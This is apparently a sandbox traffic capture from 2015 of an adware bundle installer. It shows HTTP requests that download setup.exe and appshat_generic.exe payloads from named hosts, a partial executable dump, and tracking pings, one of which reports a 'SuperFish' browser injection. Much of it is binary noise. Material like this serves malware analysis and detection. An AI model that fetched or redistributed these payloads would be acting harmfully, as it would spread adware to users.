.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=8631 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 10 Feb 2015 04:00:01 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2q90bop9bptps.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 05:03:15 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 08 Feb 2015 05:13:15 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NocjbulSJM_Nd3-BaFYs6zPLD0flNLSv3NXE6SynXypAa_3BSUah9g==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".<<< skipped >>>

GET /ads/conversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3341751375&ipr=y HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com.ua


HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 10 Feb 2015 04:00:22 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............!.......,...........D.;HTTP/1.1 200 OK..Content-Typ
e: image/gif..Date: Tue, 10 Feb 2015 04:00:22 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..X-Content-Type-Options: nosniff..Server: adclick_
server..Content-Length: 42..X-XSS-Protection: 1; mode=block..Alternate
-Protocol: 80:quic,p=0.02..GIF89a.............!.......,...........D.;.
.

GET /app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540823&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;..

GET /app/ping.ashx?e=k64GogClQtX0g02wEBPEIpwW94MmDkBo 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq2Mmy0imF8H6y6fGzNs6vFFcFomV8AFsitEqcnNVE9ds6aIQg3pa3BisHEelWCJ5f HOYncO4wemPMEi PFH4/sS6E ZVjGvzFqCyMz8hNo1f2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOvSgZZs8q9v7HOZnSWChaSpq2YtpOIBMYFEViCvyDnuRmJS/CStLJjeyp jPa4cTPVQyB/VFyE6ekC9hdIYNUYl7Rvfv lqvlRZRXx49nRJ1zruMb52zuG/nWRKq6pxJx6qyTnAgQqZVYPLJquZv66aV/sKQVwNmJ2SGRkpEIbSdfl0yK7ww8bRe0vpw87wGCmoO9hCyfDyHQXyPogRVj4AphWV9O25h3T8CgLbYIc8DLKkid87rFI4E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUNWxfdOym9oLHySmeDQikgk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=k64GogClQtX0g02wEBPEIpwW94MmDkBo 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq2Mmy0imF8H6y6fGzNs6vFFcFomV8AFsitEqcnNVE9dtcc7Myhd t67Mh5HNq1rWG6F60BcQWyjYd3lq0kFqZiozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVdvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7/JMgjtIyKhDAHl6w3H159Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho61J8WDbI2zXWceTUfoD7PiV6vD/UV1iyHQCKxuPRxPeaGzln9Vv6k7XdemwkRcKlLaQaFS VkBZ3QmA92KA lJBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0AQnQZzuX1yNmvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolDVsX3TspvaCx8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho4 fec90flyKxMkX9sPQVhQoOH/4D/1WW drxeglkK7bM8DllDAjWZb4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX8BgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnQmv/yP0TnEHH/jy8G4FGJY4SiD403Los HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=lOCrbsNL2zWQ5lb rGZVAjg2g5AFJwuPAeG8v9m1fNeRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzb kAny30vKUdqs4LRFOOXPwsHnwsxHHbSdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDomTADg95nKug8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:14 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=LG8dwPiPk7MfAxEXghvnLHKmjUZeFmYRTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoS1P9Lpxqdc1sekHTLzI3I1V9oK7vZm95VRGW796HUe3a50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfwGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOdCa//I/ROcQbVGG/Xal99ijhKIPjTcuiw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:14 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=aQQpsP6/AW3kex8By7Tt8w6hxqMAiseH6QEhIMw1h6EicvsFwQStENB87jgWTbK//EmjUQkbJhEHQLr2mOlyIz068ccWs 9Pz2hvqQZi650ONJ1hFt635xZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVMCQY9IFR72XAODVeEYVPS89/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:14 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:14 GMT..Content-Length: 0......

GET /app/ping.ashx?e=2fVCHF6kf8hPNjxRBLtb4/75HOxIex29t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtZtfKtkl4IFkLyQm1Fhdcy/5x4LyIWqji6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0AQnQZzuX1yNmvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolAoMQOXr8JWgx8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:15 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=EneY65zUkfkfAxEXghvnLOqbVOxvEbYsTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoS1P9Lpxqdc1sekHTLzI3I00A75TMG4v BbKdUb4fSU3inFskWrXAmXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPFqCyMz8hNo1f2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOtZDXSYpq/nUDxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:15 GMT

Content-Length: 0

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d4ekdi381yoqv.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 05:02:15 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 08 Feb 2015 05:12:15 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 558

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _-uLSq354KdJmYZoCoTQ269MK3B7E2IBLurzwDLge8xLSAyyvwmbwg==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_c HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 03:59:53 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537359"

Last-Modified: Tue, 10 Feb 2015 03:02:39 GMT

Cache-Control: max-age=210

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423540794.dop003.am4.t,1423540793.cds043.am4.c
ja....B...X.dv=.p.P....O.XM/.'D.....#./.wK1.x...-#..\:Y.=..08.E....2..
.....J...W....9)|.".l.*......^1...`...l-.0..F.L...."..,.Y..{..!.GeX [.
.4;..o..*.f:....\0..6J%[.g.. .q.t.'.Q.}. ....A.Q5......V.......~.\.L.Y
Q..X/.Y........g...l.2aM\.]%.f..P.....5....^oHP#x=I.....&......c.. .$,
.........jY.......U..\.Z..&w.l)A....x.G.P..>.....;.E..j.....v......
..e0f;!.D.....s|:...c$....=..g.. .<.Qh..Sa.t....$....F....EA...x0."
'9.C........gmL~$p.1s......r.........-.w..Y.#(#).x.Gx..S.N...j=.^[email protected].
_........[.Fy.k.>]2.\]...Gfjm......R....`..VW..C..h...-Gu..b!.,....
#~.......D....z.m..O.bPa..QM..........b...<..0...c....X..b".cF.....
..F...NG..z...5l....o.^....t5.v....s.E.u.b..yda.,G.`H.b.v7.....T.6.5..
....Ua.......6...RpV.C...:8.G..e...N.....|....].v...rZp...W...h.....;V
#,{tyunx....!..I.....aB.b.&..>4....~..Dyn.'*".4..&....f.....9y.....
bq..D;n...[W..<..0.d.N..C.....u.C...t..g(.4.!.\...>....>..n..
.....,\../#w./o..O.......Hx;*.j.A...z~.$..H..\...b...e.CV."..r7....Q..
..3)...-p.I..;.Ey<.Oy..`.CN=.....?..Y=.mo....x..[......l\.&V%......
C= p.(....{e].......orf@...). .k.......`..hu..ii:.y..j...iYQ..0.:..V.%
#...%.j.b...m.J"......;9...(`.(=..HJ....#...W..<.......}P..7/.X6I..
7..Nt..*~.ea...j.B..'..0P]|J.'....q1rWc.1.e<..9(..8.....S....,c....
....Y..N.G...b....3....~....;_9...}.d....0:e .....g...gf_..T.G.E.$....
.................?}........Pq.3.I...=P.^.n...K ...L.....%....v..xb..S=
..x.../...Zr5.,.....ko@....*.8...t..../.-#.W.....;."#...y^uZ1.2.3..`P.
.:.)..."[email protected].}....g=>e.J.1l.....i:.(.\.g`...<<< skipped >>>

GET /webplayer/flvplayer/html/images/btn.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:45 GMT

Content-Type: image/png

Content-Length: 14251

Last-Modified: Wed, 17 Oct 2012 10:26:56 GMT

Connection: close

ETag: "507e87f0-37ab"

Accept-Ranges: bytes
.PNG........IHDR.......N......I......tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:2C3B8F32184511E28CB5ECE8
B8027028" xmpMM:DocumentID="xmp.did:2C3B8F33184511E28CB5ECE8B8027028"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2C3B8F30184511E28C
B5ECE8B8027028" stRef:documentID="xmp.did:2C3B8F31184511E28CB5ECE8B802
7028"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>.4....4.IDATx..}...E..W}....-7..f.YH.......
....:...........3....../:#>.....l..........lH..,$..7......U..SU.Uu.
{O..9..s..S]]]].[..T.CDH.vl.>...........j...kz..O........L...4../..
.,..y....jz....q...;G....Y....%TS5U..FZ...8@l(..B..S~.U.....o.........
1k...........R~,....:{.m\M...J\.[....8....c..E..w.c2?....B.p.q/.,?.@..
...TM.8.8..\..K..?.3...B...B}.*.......s..L.Um.j...r.uO..._...,....&`x.
...OpPx.(.9...~8.28.......Ey..Y.;.~...[F #.].I(.!...9....\F.E...e0K>
;f.'...m.<@\..O.\t.-..^...q^......]..Iy<.5.....r...W......y..u..
..#............/D..].o......k.p!..e.9~. .....J..7.'...{.g..'.6.<<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: T_ZpMBF9lm3cerpWal5q2iCnVtkOJziHRLCTm6hslotgbIeL9WQdiw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=SuperFish&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:25 GMT..Content-Length: 0..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.7124251602986185 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

